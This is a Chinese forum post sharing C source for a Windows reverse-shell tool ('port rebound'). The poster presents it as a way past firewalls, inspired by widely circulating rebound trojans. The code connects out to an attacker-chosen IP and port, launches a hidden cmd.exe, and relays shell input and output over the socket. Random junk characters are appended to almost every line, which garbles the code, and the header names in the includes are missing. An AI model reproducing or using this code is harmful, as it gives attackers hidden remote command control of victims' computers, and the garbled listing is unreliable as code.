社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 5874阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G?Q3/y(  
 PoxK{Y  
/* ============================== ^rifRY-,yO  
Rebound port in Windows NT xe^Gs]fm  
By wind,2006/7 e4>_v('  
===============================*/ .K1FKC$C  
#include ,g2ij  
#include xLK<W"%0  
V3^&oe%  
#pragma comment(lib,"wsock32.lib") %H]ptH5  
ur:3W6ZKl  
void OutputShell(); 5\]Sv]s)R  
SOCKET sClient; pHLB= r  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; hEKf6#  
JvVWG'Z"  
void main(int argc,char **argv) cj$[E]B3V*  
{ UG+d-&~Ll  
WSADATA stWsaData; _./Sk|C  
int nRet; 1;Ou7T9w  
SOCKADDR_IN stSaiClient,stSaiServer; xc=b |:A  
^")Q YE  
if(argc != 3) MkfBu W;)  
{ U:^PC x`  
printf("Useage:\n\rRebound DestIP DestPort\n"); --$ 4Q(#  
return; Cv6'`",Yzm  
} _V7s#_p  
21K>`d\  
WSAStartup(MAKEWORD(2,2),&stWsaData); )48QBz?  
1_PoqD!q  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); &,{fw@#)_  
M l Jo`d  
stSaiClient.sin_family = AF_INET; fF7bBE)L/|  
stSaiClient.sin_port = htons(0); `d5%.N  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1Q<^8N)pf  
9]f!'d!5  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tX_R_]v3  
{ a7r%X -  
printf("Bind Socket Failed!\n"); D1zBsi94D  
return; p@xf^[50k  
} \Q0[?k  
bDL,S?@  
stSaiServer.sin_family = AF_INET; |H;F7Y_  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,JAx ?Xb  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 6-$jkto  
_>(^tCo  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =;Rtdy/Yn%  
{ itBwCIjG  
printf("Connect Error!"); -GhP9; d  
return; (^T F%(H  
} 5:Z0Pt  
OutputShell(); ;z}i-cNae  
} 1OCeN%4]Qk  
lr>oYS0  
void OutputShell() z> Rsi  
{ w$zu~/qV2  
char szBuff[1024]; "p_J8  
SECURITY_ATTRIBUTES stSecurityAttributes; $rv8K j+  
OSVERSIONINFO stOsversionInfo; [uC ]*G]  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 8xMEe:}V  
STARTUPINFO stStartupInfo; SUCM b8  
char *szShell; n.!#P|  
PROCESS_INFORMATION stProcessInformation; ZSjMH .Ij"  
unsigned long lBytesRead; #@YPic"n7`  
b=yx7v"r  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {o_X`rgrL  
_=_Px@<Q  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,k )w6)  
stSecurityAttributes.lpSecurityDescriptor = 0; 1+szG1U=  
stSecurityAttributes.bInheritHandle = TRUE; = RA /  
DS+}UO  
:ubV};  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 4>F'oqFF  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); dP# |$1  
[Dk=? +  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); q)X$^oE!6  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OK[T3/v,  
stStartupInfo.wShowWindow = SW_HIDE; ^t` k0<  
stStartupInfo.hStdInput = hReadPipe; rI= v  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; be]bZ 1f  
Tl(^  
GetVersionEx(&stOsversionInfo); F, W~,y  
27 ]':A4_  
switch(stOsversionInfo.dwPlatformId) TSTl+W  
{ ]zj9A]i:a  
case 1: R "n 5  
szShell = "command.com"; s )noo  
break; [~-9i &Z  
default: q)LMm7  
szShell = "cmd.exe"; X 0WJBEE  
break; |n+qMql'  
} ^o^H3m  
6t>.[Y"v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); D>/0v8  
)j9SGLo  
send(sClient,szMsg,77,0); hL/)|N~  
while(1) xSktg]u Se  
{ m+`fn;*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); w~(1%p/  
if(lBytesRead) ]op}y0  
{ 7mI:| G  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); t[ubn+  
send(sClient,szBuff,lBytesRead,0); QS%%^+E2  
} nygbt<;?  
else M2PAy! J  
{ `NCwK6/i  
lBytesRead=recv(sClient,szBuff,1024,0); od IV:(  
if(lBytesRead<=0) break; f sJ9bQm/  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); U{7w#>V .  
} ~HTmO;HNf"  
} 10)jsA  
Bp_$.!Qy  
return; }YB*]<]  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五